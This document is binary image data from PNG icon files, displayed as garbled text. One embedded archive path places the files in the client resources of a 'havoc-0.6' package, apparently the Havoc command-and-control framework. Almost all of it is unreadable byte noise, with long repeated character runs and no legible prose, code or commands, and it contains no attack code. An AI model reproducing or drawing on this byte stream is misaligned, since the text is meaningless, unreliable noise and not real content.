Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌZ}Ů?"d Bf?w+N?'B&QUZd7gol\@!3BBzvb]o;3oRFr!̢ʙl>qכ,ڷo+ŅB&ҲՕU3W 9{\@!s&bEuueUKyf7Y. dUW~}։%;9{}'~ Y. de3hpfޢ!d BRWٸk[:#%'!Ll?"@'B&YV+/-/+9k6,v:Fr!T O9e`c+Dr!'ՕUNݗ@Eu"d Br@;h21u "d BTي`{6Kxsµg@#d B2yIj?wf΢˧.#Y. dDz\5Aί0g' Y2AbwUU~?&d1D!R(c, de^hى)2ArIi5V# dJL*5Wyf΢swKϴ BD!IrDm̙:nᢥU'L BR@[wf}ÁZߑDȔ d9.}bPvm6Ye!S"dRZxڢsW-L BK/U\J}Kwg)2AȠ+VT:~#JNFȔ d2@;WylµۗΕМk2%B&"8@{ÜEۗ'j3!S"d>UV#v ؠM  "d2AEjk6=0ov?=FȔ dQ2<mq BD!+8K+^O g6B&_HU+8[BD!QgON_!S"dTʏz2%B&**|bp-}ZKNBD!}p;Q>89owp~; Y2AȐQrkEs .B&2-J8v>=t44Bc IDATBD!#r`PiEuk6;nygL BRv<9m! !kjץ{v!S"d!͊rڮL/\5! )ؠ W-9yw^)2AȐ.:qr?L6"dҲ ?CV"d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d"zN2=B&5B&4B6!#d>@DG~_!;B! ٷ\!`G,zN2?淄,zȎ:MoL'dGN?s_FȎz)J8uؐo2~#d?RiOtNҔrXj _2?BR99! ٟO=w.O>9۟;! Y';[<2So}?9_ YXg~歷z @g>{ԑe?ِ);~O~ٷN>kg>{O9NBz! #GNzN>,˂Zq;uǃ! iLf < 3 >u1Bvp\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^uq4, Y؟-itcoӦͫ~kz\ǘW_ռFd?S˖S ~<ըQc <'tc\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\ ,zh d!@! ^Y:@BBr4u\\vG6ߴ>צM<τHY:m>ZyvؼyGO,zaA6Iݻ{-[O|DBv`A¶lٳ稘=[ll?ꋐ\2(܍ں'.7eQIMٔ\2Gw b똤-[X% ! ^d̶`7 ve;6gSBrȘ%KʂMA?)ꎐ\2$}YK*V2䦿7Y: C>|hW l=#?-ꊐ\2c_vUy2){2Ou@F~ld d! vp.xv BrȀtp=ٞ<! ^طm:<̞;6%! ^X@бz={! ^Xw`-/%})GruuraYl\\z\l۶d',uen٥ݺdُ\,;~ǖz X-;s,ue6cOR{5$َ\>1df9Brg^b !~,z`,x2uUm>sz,z`O-㎐\b,Y:*M,uUZZNٲoRv,z`U u]<2ueo,z`g! ^XmK}@BFî,޲)GBm;yoo߳y\l۶PGVY:hwxa,z`M;.])Ȓ~uu߻2CӰ d!lڱwO}\Ng/3d~ d! 8~=xr9?\k^ d! ضmG%rt!: BrȄm% (,7!d! :iC_8xO|o_Y: hlK`NtϞ-[r?,zQ ve sѠbvl޼ic!d!뀌 vewڻu-[[1i;]ǘ&Mׯ!76d7#9jz%JгGYQ;1{\@Cֹm[1 -wckK[ ~cOvunBF~ҶM|B7 Vkڶ?\7^ Ѵl_hlh1֫੖ tvd[ M!ɉz1DrȾft?2%9"O-JҲЇ]Șz1DZ!{!1ĿqYkl\ǔbdۂ2?jP/2UW@4 ~!EQqu I5?-"jygc:1ywl?ॖ:?t@2.;rw<9{\Ǡ$|5A Md٨6仮A疀/l1|@|+y]sK? ~Gu]T>%)wtU|m rEhxg38ōnq3'_+[q[2xeQ-["a[R8+GCֹ1cdGZEIzRFL>=vxuL}Y2Zw:xWCձ }Y2-8IdǏaO1KC.>[<;dazqԍɏgǾRX\\^uR;;]TZywL6%< я^奊M&O.saٹs~Eq:<΅<, KȻn\,t.,;j2Y"=KȀ&.٨ΓUыy M&7,RFavm,~d^qws^r?rF)dޏ5ЈVUC/fhQp$:bPKw,YxR Ξ JZm3:~~d`OMGg?QXo\]~y2 ,8ζ鎹K{|eyeS|4y-D?6I9Ry ]YG?ֹm ɑ畗ko&_d-0֝ǷXm}IQv+ ؎ꗿO~EcKJW};ec-c36s6^u(oqKGݎuc'hlnٔ1twQmL/V~VC; p!}?2ЇZO^an,cro,؍=4 w.H5,]p ȨFR1}WqAaX n7M5ܖQ3 bLj1c򹦼D+ ei JX&?/i7&/3 } c˾w߼ۃZ-d>O* amǏolZ ppMYGаx@/?`Vx94^?X1=LJ3OA!L^Ҳ'5֫`ӷ_}1vnU-mtѣGË&$+I6,..#؛oU5NzW+uz}(** u7&+0`D^^^CXS믿k/{]6Zqq:% م%؊EH$y`B/B]6Yas0YdBʿFvsf#E>=oAftg׿M.$tk7u֮v@J$Zuhupkn9(Y8h`VdF&1 Nbұd:7\աucL=Zȸ _5eE `9)>B0\FdX"z _&#? Ǥ/zΏ9rON\Ǭv;Ȩ=hCޣy**`9 `&F'_ Z8|Q0/jq[buE-NrKNS7|!rJ/'`9$n'_ Z|Q0/jq3wE-0 +bxE-NrDO @8<'`$'_ 7Z `9! 'wBpzE-Nr@\O @8|Q0؋b/ b|E-Nb.'_ |E-Nb.'_ b}E-N-'_b_0X ~E-Nb,'_ E-Nb+'_ 76ub2 |$/@l [^/E'`1H _;/O2Nb*Y8ftOw_\2Nb0ESݽ;KNb)aC\ǩ>{5qKEN+/<9d `T<|hqWy9zbi-NP!  mu꣦408p£O"OBk0T_ `p;1zR|.`C«gC [1H7޻=7 @xvŧ^ '_u0|/ji `p/|Q qB0S2| J0ZW_|0 ; }⡠^_yW %(.3KQ`L1@<?b EUF=xn Ap@??Y Myn B/_d%%apoYsuCxn O޳t#o Dr?]ƏyzQKgw+KB(Q1]2jj^ѹ\\vt"ꭠ-:?zQCVM1'7!g/5?-=0 x&/6ُ=~r֓K^HޤQqsoh&kս۠|nI^ #ؓ=ңuJddaqu|&(S6Iׁ=&X =ڢMN诋˨{7难z .+>v95k0jNyz d9mr؟ɍe5f^% }ot_WeA mϝ21͑1ٔE~U㦷 KWa2?ᘿ$~%55/BǗumЭS>Lb$;=:z1<dScÚlsH./Kͱ O~:%|^{&ݯ9hH~!2 񇆶h3>wc|+qW֪Ɉv{ ӑ]9n^Eny"z~ln&aWdLCz7&7rtBȻitm@ve ȀdaA1En}FMͫoݗa[n4yc?:tR6ɮLZ lٕ{䶞p6`K^aAٌk ƾP͇»/˾[-_E&`\"١WFԦmg:j7xG׿d5l4O %H$y:4/.kLJ^|7+z7ݻ`gҴw&# sЄCt( f$ .X~q1Eÿoh`/6XeJ^rV5e ni֭gA$% K ܁ց 'L4_?ԭoꫯy}Buٰ킖AZ+OBC}a ORYa~N={tY |#o#n ﾀz{^ :\`^i1:iv5h- fnDLv3Sf4h׽i6_{-4~Qz?-ֻwǚUs\D,hݳY#6ā<*|rwMXL.5[Фɰ`_ؽ|+1B[6 3w?:{sd4βEtt[MZC 䄎'C%u'c&FPuc*֚3Pg}: d?ljN|0,ۚ:LVo9H Ѡ? z &$l}݈&N,kG$; ȅ%QVof uRاSՀMӉ`vIDATzv?C]Ժh'^(У)WN{L(q J&tcG4{ ?!BA2n!;!+q JZs ٪{%?!B= TGwjNjJukIp#+j2pDuM\>ɈfMMOG# |^GzaC:*ԭc"nծ PW7?1l=;tdrIV]h!>Duyr,Ҫq ՏzH6V0U㦏tk]~G"yfdz7n׬S.,QO!=Ү]uڴi[u(,-,o>Sۮ{d`\׬GCdA{tk6:ͺJN /,^1IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win11-icon-high.png000066400000000000000000003411541467014221700250100ustar00rootroot00000000000000PNG  IHDR =PLTEGpLBqLy;l]Er@xa~Aq=nRPJx~xQOSPo冄芇xaq//q0/]u21SQLLolRPRO]`\\oJjwyDGkhZ#"jg[ZkCcsptr銆žܵs21ӱ銆pu20ROjgZ$"opu22芆t35u21p!p!q$r犇扉㉋'rވ)u:~u7:E-vr4:5z/xVL\%j@QrxiBal4}URq8C׊l=SuF.YNV>exl吒ڡX{_jZ#"oy@z|1q><%kR_\tRNS  $ ]34?fdLR(9Z(rL+AET*2|5yÓ~ͭR7rrٙxw IDATx{lW;6vlc1 !WAVt:p%(5ڮ0*] y<x?c #Ħ1R{d4 ݄?̠Z_rraEՇrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrzT5'''>`gNNN_Bi@*n9999 $% 12''d1PZ˜RcSJJAr(srr `9>pQQT2w˜R(3͐ʜ;>- e1~ SƳ`Gurry*4-Y\ fY\''QW0ŲHQ!Gvrry)cN,K?%Z,KQC,K F'4eNNitz1 $/&8ʜG frLqQ̆3_ie~lJWgf`yyyYpJ3Ĵ۲T? NNN~kӂ11I0B8 de~$1桘YQ*&XfJB2oŕp0srJ71& ̇;99Td 30ILɔd,z1X䔖BeElnL1L~L.29ccܘ2[H1͌aȅ;99LAXVO4e3Yh3s SL>8n$O12'!?leߍe듺~edK}LKTVO6SWeNNUvEҍ˓f=Д)n%ɲm,2*L~i*{?`a'5l2OUxC,Sϕait(sr8q,ȎʋNL2?ɬMY0Ģ5l2'!+r옾\^̏A eq鶌Xf!~nN1p[22'+cR1#78fKPuחjʂ0m2$_*cQXv@QsLl3e")bb=.(3ʜR&˫tdyF*z,8c2eAL)jP['(.;%.fJ"H$<,S2IIՌyݙCSR>xCmAR܆a,:LWf&SӰe_gÙH01kYIlv}TPy `0 S2l?2Y+>fgӣ#-1p̶<;k$Æj :ĘwSGY^m3yr,y(f-)HҰe{|#^VX󫀘gjrAC45t(·(,#SȊI@o$EYdӣ*dEz:iA-C$D18żc2WvSf s6i[va/kdNNVv;u&ZZq&[a܍ :|i(Lg$QLޟ'lʌDveh|:HvLoQu FYc c [\Oh1(֗z+Tև)1SL)} ˓} LP;,y=bX@1cQ g9nȑO]$̆>1ne6W-qv`rv(v1 <4eeNN+ƼvLXM%f|ygʺr01P()9ad ebp m3/,X̘/%6QvR$prJsfǼq.lÇ p1pٸq:̂\Q_md&nLh f^S&]G2'՘/jlq 7d̎#e%`Lh℉6]GN=5c22ڿM2vS<ʰLǢ]WOl' 8998v/lõp c~cό {~agMk&54ȕMeNr)anjRK vyvaơæ;'SzfLrrXymsXQ8cMzxyve/ge4`ScFLvLtxfl= Mӕ|烓S:nDzQvLO U2a ;96z艣9FL|YvI054UƋ>) cfd;ɚŽɫ;Lͮctcb:F3~} 4_CV_奷 rejOY _ڱŠf~[fLS2387zX%Z?< 71{~ȱfcIJg,eP ),,Vʽ pNcmG*uJʏP@0ɴO𴔹)1K1\KݏI;61W9Z.[2c܏ ??,6{Toݕ vSix25Y^ezܘBpȳuko OS(HEXpc>;fDŽa/D*CƯ1ʎ1M+@Ɋ`ٲdVWf'=)sq}<Z( s34ia',599EU,v̟Y1O` ."j2^zy11f#5dJʌ z0eLOYIƣ>_ l̢,08s9ǡ#S]-  899Ye瘾WqrcOF~ ^b86TK$ًSyy9B22R6:C 2KZi ńgg @ik2"'s9]Q,xOcُA;׫ʑ0iYV-fe/ke%g$LML$eo[d'ًI^y#)sMJVlg<hfӡϴE.'sr)c#Ę7GX:&1c1Ơvݒ!BӦ> Q"e>me&ʔT6 y=je͍ /5R^$q䪪zڥMAvLjkŎ1??&'BcY-F<&,SYOmӒwRG*0i;ggtGvvrv0yyEe:aePfdNN>WR4gv )Hĉҍ=U<eNJ,(*(6H6ILe왿1@Lsac8]4;/ˬɿyA%̭]:9yhr ˣuf?=8z1YU>5a *_B~iC "SDeoʞ-_j)X3"nLR]'j43S8,Y֋!{_đI)ܘN>$ʼǘ` 7V>.f*ıXYbcFYil>fڔقd/JW&L. * }Gv]<1=ǣO9'8J .C5Vӡd9ܩ~&99N}1z˕Q@&`x/06耥cc/Ϙ2][ 'Y(\iLS+{EeFXLb f(]dȈc웑"yvt3aK'>1b~>,*ֱ穪 O,~2קO+5\ĀHA5Cl+(2S޽gx"al܊!vO˛NTI[6sVݕKOL?Q8O)'-KYccav#zF*1-yy*O;&@FFx2KR6t*bvI1cRM0 &!FOCc0rjCmetKHbrueYVUcswGH_=Mnl,cҍdG0se)(2c6~) LNLưn2,v +'L,<ɩN&]gz@d]dNlv̜wda&njֱ2YawV0Ƈ'NKZN1/ɂfzgLY m4pOL炣GxLPFSQwҀjvʭsSrrzhfH/s,Kp<ǞǍDviEX,OpA)ɴ=e-K^W+û%JcO`1c9e{#[^r;e.33LK\uʂ18kYVdK{bAO+ǪZ%r 2h,$ lLLKt#Q6,0@2^*C1CTb~ +0sESX {viA \KG2GCVnLVF4]:cIb>;qXb12zTy̰eXly3pc s V\\d$ƨ#n4udrA2uCӣ&KYic\99eOǼ_-ɵ,9炪]:vHc.±>X&: IWfLKBÔy!ft$#~vٱ`Ǹ+ a$OW8sꦭ]+dɴtӑёŎ__2x?S UIi?RƒpfMQۿQMp 3Y(J=1F<9VJ R6O,`)o[2Cvs2Òi/Γ9=2sL//1^U236Ç?/Jc8Z^}g׍KoR}} e_I ~l/:iJQ ~Z*GK=8V/Ϙtxʼi}{2L4SfmyH9VVҾ'}@ +!ΞV) kau.qҀהYIbE{?19=*1X`6h293~͎N~Ӆ>nL1h)LiVED :Ί2RJ1c/3RM=H|Ɋ (i{DL+6*i.̞99dŘ7ecl\Ģ{.cI3':ث~Sf1x'ƴ:×` $'Z{,,y?uI >F 6MO 0̢6ddN?'c\gܷZUfgr;8Wd^Y֪_'cL3TmaeR.yal)yݎyKJ**q8! 0YLT̬.FxR2' XoDӃSnj}| 3Je>GYsiƨvZexbٱץhB YdG2O/}ЇCCF+B[ճYV.0iPaÙS?˂1,8f&б/Y~=3̙3y1s;ME?ĞX6|󎺰ߚWGJF@s̝;soτˍnʹh<{ߴz.JkPt[o\-~g&O\Ϛ / cQ7 c'U]Μ;b[Ï?3Ŷ iH~M[o!+cYw]\O6s9!&AМ͙ Ai IDATQO<Cs׹ ?MoνoՐ~Qw&ܙ7#|o+=79Qa_sty^"7k֫W O&/7Jsk?Q,+7ONNk3˗ן`+1G$Y~ (+lf/y4?Boa̕+s[,nޜysܞ֞9=z3v_mN^}v>}Cxk_nΜuZ{l:u+-Wμy ?{H}c7f_u3v9td}9p/yǮmݺco[q?W7j;zƌ9rę3+K0 )hqݯ~}阏>j{sXqeۻo{N;y޽or`%{~@wb;N zwm}wcK;~SmA!πbDY9#h ~ Py4r>(;}r$##׭gϞ9{LQHo{rbcΞ}ɖOyBi~~/…z;^;v1v> #Zeư+W\ c[s9փvݭ!aqNZ%ɎpnEmŒrl`(^ݎ }jC?X%= (>k3DٓJ[WևckhuXE];wv}hJrch JU1(iA; +3ɮ 2ƌpai[ʔaĀ2,Sda@/d~>')F#?J$Gו^qpʔ;uT)ȒI -XJz2k7/bDN,&,!=,.bDYFR ׎ KXÖl^ݲ}'ho8ǰ,+7?p,1\&A3vS]n `FF %cDܕ!ø1c$c䆌s앎5ֹ2$T%ݱ- eaQvTC0e*d̈DeI˥"L+ ȕ奣)7y:.4;oFs ұ2)e+2`hd[jť+<e1A,Q=tFЕ,O'f͏)cŽe0=7絷wRc;__t0-CBX||9 )\3g HqQ|4%ʬNF1+[ɏQ@K>b- s2d R'b<0YjH1ՇK/j4#{:`X;Gث{;tsK7Zeavl~1Ʊ17ǰMh3p=ƺs2H`PL2Hzx 45NVYX2v\o,c-ו^nQdA "eG!&kPLz'p7(Y*1`)aFe%eA]򜤬vLM|^Upgd0˼MWuPV^0]1>2F#qc ]X_Пz1L Yr91 ٙK-&nU")O֠uaO@5aoŠɴ,+2fʞLX{ׅgRsdQJc^xaU"Sn/U8'=t,k].l@sc+VvSxd̓ 2}L2Jgc1яBS-ZUc1BuBJ^T:@NvIv1[ kNϻ*{x{1b"2tfѝ9$ k]XsAwUÔAy $;Ld{.EtC bLZ,X@Xde̓ yܜݎ]xci}x_>!?ر^tkK= 1Cr?2][KdE Z%u}$1'10&KM Dc<ݭko ..LFwV(#!ge1+YO60-u2c\N+Tx8/Ka>׫JlSa  UOObO&AauWF( 1]{vmƔX,/Г1m=[')ٻHwəٚ$x@z'_0,sRZ(M̌'Κ9m7*cٱy ,ڱB>;1Jј8): sL89bk㘓|:~u tp%nԐ_rP= CG1C|LZ"hĸګm[х0G}a"c@RK H4Sdg=TC"Kaia;yt%#R<&=|* yR~ ćMx|d#[Z+ɖ1'5W&I vDc]vv>,/ϋ<?`N迏 eQBQХ.fgfd1' CSM-aSe18?<3c62:>G;v1q#q9vd ߻-bX ,Y> <v\N`T$xfl n[:ˈg`ZoPaC<$]0#o'Øt@?waDtL#LP LFKge1(L H60/rMC606xؓ/̏̚}lر/^qY(6OF@74s׶(J>ȓ8q1q;W62dt^ OJGT:u0dWKsǰ2(;+s ɶCLVλ+6V_Me$4d 6+\Y/##Ǽ=33 ]rROǰ碃1pcOW/P"tIy }wU6,򔗗.]ܘIB%Pv Y LoPaI~ #wB$k10xmW2fT?k~%K1X^uEv0ά,{Hևax2FJmXP/cÆ {ՙs7 ǘ*1/DWTj%/+Ƙ03"Т_KS̥ IlFv_ڋte7eH1&VNiJ4J pzut"h]ϐ)ȿk\yһ YPv|),/϶)O)(ˤ ȕuvRq& \MOU>sQ^垌r eK`,,5UxY /%W.J| s$8`$TK,jEr0qz71;!0X _c@7F(3sO8培t^ Uv_ă`Ya m"-2d&B!kxgJYw)%}PLJ4!.:Eч ti9Y)J@&*cdž0k&ԕXgZE?.A`,!\IE(Opē%XmbK4eVx2 .Ay$p&8'eʐ`71(Wxy?b6Ǿ"/y@FɴaY TiDQjT_=0V V.3Pˀ2}{ctc`Ǩ α/رh踘j2UqLal*ip@P$5"7'RVJcȞ9|)=!_E1)Ɂ1!GXJF c,{ dR1ɱJc#ddUH/*%J <)cVu)*E@VA2hʰ6d7,ѝ8n_iU&DXV޹{jh鷉Dϕ';O('%]oq T$ċ^{u(.~,'G1c/zi8̄7~=GmI-VJ;wU[/]zn Q| 3O\4SQCRe穼 W:!(û+Щ\[hή?9X3T?wIեf2}Qi1%gbU ƘݐeC߲rhEߦ$:_{f3ϙ|i 1PlmQ]p r!Al/b+oF$VAd(S Q2-cwZm*ĈYړ“ڥ,.m.*Aq.-]*]t]q۲T$eJl"%}JޤǨ?Zc ;ȑ#fcSYy:JL/_cȍncL&d[Vx22eJOvIvr34"501p)AU~bLI7<+= \ٱSΫӓ'Xyʥw (1aspKq(*9G$moߺ}ߒ!!nT-XfL;4bP L `3xl$g\<&_πM8Wj)1+ƶʘ/k`;J"(G55RX};WНKoΫɷzħPXLz2l';*xK=($c<1]m:O]_%C^dYU\82+W+cGO~;GcT4|1\)71\ e +͠ g/),!:v^bx2Ov_khhcXzpa Z?ú y2]4`0d~,K1=&8ĉoz.L4AI{SvLR g9Pt 8ʠlL*/d_N@"2A;WFbd .J IDATo@˝@21ZMEGfあ1V6* 8[ aև1p* J Ur셜Ֆ9Sa챼 +)9z$b7e~Jҏru[+ÅɌ-M᫕dǰ{ Z.j5aHn _ b+[H)ԿQIY8"aS(THvILt"Y6ZOcU<_@0B2v2hmY߶+Jb*'BDq-+K5VR[66{ZU_fdK j% cFo~(^C)O?+V2dZMl%f=e ˼Q.є0Jd̔u_tb5w$PeN>cW MX\n]H?2ta\yH02ܾ_  3,5f}AY>ufKߒN2- ˑ{ 2>1G;O$V+K[@ܕ+8F"[2"\)k2\CCY,RYzI BRvyB Uq)O#GnʾQ QlJaƄێ |By3I3̪8 eΒ8zu`pLKȤӒ~qK1دFܹ c<8#1XY9(1/e{n{ʸ';e~!Iv0)w}ަ1Po ǝP\~M?_ȫv> tbh۹K4`Yrf.3Ї$hȰ'vyX+v~AΏ]c cOXV^x[ir>< PD5xS~q12o5cg xe[iL>jKgqefCVR1oBfO ?{al0Кq,IU O1ljbo%m1؂-ӣ2? OLkگ$~D<\74M{;$ ON+ɂ8`J#d 11|ɗF\#ac~V43} VtlHDŽ`)wK B?oqJSCp`$Y L]y-9?cȱSBh.] ܺr[? C7Aݐ7QuCsnym+>+wDʔ 2w;t_@5|HM;8=Wď~~Q?tC{P7o߾)/-r~mE[M).rτKKpd)_%dV|~αe>ʒI3O+/%VVF$f;==#\ؗU;nugٝhe G*7o]pT&ʯ?wn}?'<ַgGpGe3io{n޾/^wOGYwGے# ʭֳb'h "+.[Ҥӊj C dCgSo/{Yϔ{SlE**e컭|meRךu۰q۞ݻ+|G!1D؞mB3Ʋs$Cl=𘯅|ժիW,]x?TT,\X\I?'{tl|.5]k (A}{wv5؟?u8͛m_W'Ͼ'^@K9{j?w{?tMƓcZB) PLJJΘ^TP2dHb bٳ=׬/^T1e/q-1^>seh؋\[k+7kG'7(k:LNƾfF2pdkHh .s]GF2 hkq|.x$60+$f f xqfkK =lo_Jc3H{pu< 1Y"pt2 8988x1`"/$([bUdǏ/_ \{mظqϞ=7<Õ5̎ImW<^Ud7MMd?l3l)BE2ԿBHz#1cq܁K6rI;!q~efVB2v.ȱ abҽ?~׿&αL5T &)f2j:Ș!cpAЋ ;z{l ^N]˗/[vsl q~*,Ʋ%bdPR!ɮb%#Yz; p#•hǰ4|@3e"&="5M{lYIlLX2E2/ʴO1,cHlyc1؝sY|giK̓ʚ ͖K WZCY I2*1b{̒/T%2~oF2dgO+'?8)ʝ;cEYa ^P7Ztdy^@r"z2xn/"*/i>wxSMez\j$7B:pM2]f"l5d+ãbL ѐH j\9~/X57]lk;t~{%΄53`&L3vo5[ -ϣ:{{!YAf2[DC/~X,2$aRU=vέ 881aЏU,,(+A|^:dl5z2,/O|F2ܔUA71xMX} P~>pZ d%В-Vvɠ>1Vo:\_-T09 4$+\feX^bNWce6wߥ#ѐg4QcK2?FX~ .|!-v 1R& ˅܎%r,^"<(  IFEf"Δ8Blz twf.V'3(TXH{..Wm枌e@([dxY)ȱ榶ꚺJTF*il? 4cYllzOgr?ʱ,$T4kJ> ;ؕ+Dr+/@U!*~6F& AV^ZPvU@~pu` XUZ nf$K{E* cF e׈dP\.~((vl~Uk%64V"BWvSSXS] pvfԖ#Lo)Y&r\X8- 832 {}XL0o$r_Ի.= ce<?_ #Z\JѪ<Ƃgml`q;Fn8Va&Jݻۓ&tYU<'[J#AO@2ikeQ|:d#[kn+k*.6EÚz<̿)@[,Hkĺec8M, C6cZQ~~f+[etj%lD];~$HyG**/wqzCtw5+;&(Qhʈd$ # Cy 4apmǗld^-\=f^E _B0^Ba6ƲƂ&TdfÌ3a*DSFse}O,cLY ,Ǒ!Lcc[>09 Yt 9C򲸞 ~GIJ=KloڔTQgJ,Jzc2 $ɒ <ϩX.ҥ<$Ofl!c-U{_q =Mk*U1hVތYM3,z)2V%ff˂\Y ͕T'YJA$GEDƧjԨSSПk-c> \&JxL1Mџd y~RI&KjUՕiʠ cʎza˨$3 R5MlA2v2e.RxUZcW5Շ/2StykLO{Y ebeOG=8w~D7da7oZ\X^-T1L2nT{mr^kX^# y^%*MҔ'+4H$II= JD~Mu@ƬYe%fy03mͦzʬb,V-cpEF -.y}Z$|,"+17[nպ`.Y1L2!Έ鯖~>]~U^2^)S:1Baj[LdRjx2)EırQR-\n w.TE>~u^m< l:,LØa^I[&2n,J̈YҚ%xxꔢpXaccƌarr%EjebCE!ndOeK4eP$.ݼ9W+M-aӔy촯~l>ﻥ45oW64C˻ULZd.a&O4W,d`bFp5p땍ón޾uW1j_RA\~,|-7Yf3eS(Y}X2pSVtT]Ep1ή1Vusq% ̑` Jva}.4df-Q~lqXYOԷm"?QGf fj[z=.Lj Sse~`AZ+}Aַ#䆌"24_war@s-I2K٦?_0Lux.ֆ901Svvwb$K2ǀc6n41nƖ,YU^auy1dQ]s2WKX<P -2m '1!͙ cFevhlyaVk-"- d>fY~>7gzHؑN_ka8O&u%_ S+Kf2Ig翟^eyI2)knXr%1V@dN;ț|ե'[e0KI|}~ chGF-K~n{Xh۩'&]$٦$zâ.3v3l"/JYŢ%ا.Ybr :5"D?p d 3H(0_,11}d Jfq>Hcp2X?z[D])7WVKYIk\ _lp5"˕z<xP>$~5'ע+.ǵ޾ Z#Ȅ+V+rh@*8~L*d.+k!1e:e2mYfaYOT:2tmc,2h9r4󁊑2pB#cg*Y)\:D.GÖ<_ 4^tĉ-ǐc2+n~vc $J %h(1k-e^Szʚ?DŽ7a>qLԕ+VYY2ua˞9d@EEK%܏{Z1YO~,{(oY]M=Ԙ8_YԔHr-ZEK}1%wd ddcg )ԕg;vl5*xEY/gt &hLE k̤,~GÌ`څ1Ôdɜvii$q}"/"~g˨?M3hߣ1\x_Yɜ%##qL}AZħGFKa%!xLXoa?1 dRLWp)c~ lHcЂ|Ώ%  vdqh l$3K9z1F*'֛6=(;k\3b"d}V~-}̆1de`i)a!9h9hN>bЎ1kQF ^_җ/we IDATӧiF Ix2vy.)OéɨVA2VWP~L4h|,{<=MxVSi }$^?gGSlsd.,~ԩ#af+3Vkʸ+|xPЛW׷]lVLY՗Ƹ2V\i3n+m3, wS/Lx^BY'dQGg[ɏr2X9ߘT`J!3Z^.,W/'3w_U˗ЈccxL`no,Ne[q~j!l[W/5 :ݓ=݀U k82/S/om$b>E]CgnA%V1>+7[-Bv"Eвuax \cANR21O+~e`75"Mԫ2g/&ز=;<ǟB2l(s K7I U{Ƒd/L4-Up]u ȏ6lW %FDVa1PLIR:1pr *xeBv58vf/SSr2Z0a %ӫKOJ:~Hy|#FڡN˙hnZc1]Mi hEɬ'Ьp=x60C5rH51Y,#=Æ#i>l1823Bj"  dGk!CGVPx[W|]kyP&f.&rP Ub]uo^-Juƺɶȋ1>gNed9],s6r91c;f8Q<c,@9> !6 gP[;<s{60Gd آ4/&cKΈ9#3;a5 dя c̑e ^E D-V([r2}?ё%2I1,+Epl3]{wk-*$[(Y!&'ċIAΠ$v6y"G?1hQb;HtZ:."AI4ͣ!d|V&F4Xd- {>`,b9*D@V jI,W-ihtdp3Gk[8uo-fdA SeX^655t0QܳM]%Jy'u/*vOe=YE9 ɖh,>`r8kS~lLA R.&=d{hݚ`$M85xgO9@a3ƳH5 - 1mՄG7OWjߢ4H#{ijY2#ֽ x٘1~wXc^td? Å2EO!,([(kg \'&6 9dxEf5Ʋ2ʰeW@dKrO&O[baS]E y2 ʀeHԺFP;fava@ȵ]pY] h]:CL@ӊN hضn?wL̤A³1mrţ@4Y8avPhiFc v IcݜMMsq㛯c,Y*)UZ̄VPFG;MՑ]Lu;U21ȠL!@@f;dI՗ϟ^KrF6"#?%Ђ Mu&0)#ÄE}mcDsh2},) Aimݺ,v{=[v?q=sA`$,cN dQt=83c09 v*CbH0 d(R{JTsQF)3HԆ#i/aӶmkebrevؕly 7/S$;$۽;~Yxx6A2Dm.n*fy,1|9x /Ǘкֈg^1 $Jk0-V9dQ6fâ 9J˱/OSY~xfRlر#Ǡ8{ec |F$3b{] lU\>`{/c#˕OA aa9?S,ʲX=ٹ$=Y GlSlǚEp 0PiJ\P[ƵJs8r,qtqѕ5']JrͲ!t dC3y\Eءiu3 { bl-GDC@_Ar#yh([r2j@ml:\όpKWcYh9\ge2) G O}gԞPl"ȱm8.$MŽq҅c߈h@3rxiѼv`/%۬:hMS1JWLb1Y_%).W,)ߋ wl` ]1\)dc^F(rA2Q]-:ɒdd9ʐf^U~̘!O@xjj f(`TTm~15L}GC} )Ȣ;2>آ ju_Ǵe+b;J ܏m9{X\7)r2?‹2q֕1c|d1]#SF/fNƇ_ix:XoZ>֮&iu9+'ʵci^Mo6K/1?c^q#>W1MAGFGY6UK[\I :p ]XQ<";p32Sg ~SDYe]0)&aʍ f <' .]F DM*.Kefpcs?gmc|\͌8[iŊ&L>MLN!À30߁,-@ブdh|ޡ|^"Q22JwҐ~(’oc {/c|6X!wEP3A2 eǍƘ]0|l uaY8d}a)L]φ֯3ab(oǃnGXh>flaV1;ѨBalaY&dVG&qdXKhrZA XoXCv K-! {Ъ;d8hP&j0/RE#a^ c <04O$lgVRc읩 UjOy@j-`vXKKg^ wor?뺮uo߯]߽wvv>~u^d,|˰KX~8g64 ;uꀈyy܏jL> sceؿ{L)뒺U>92KAu)Fc';Hm~ann (|,;h~& !gXPαƠ (mcţ҂q=]΀lzsL[Xj94u-9U}c|14 >pd5  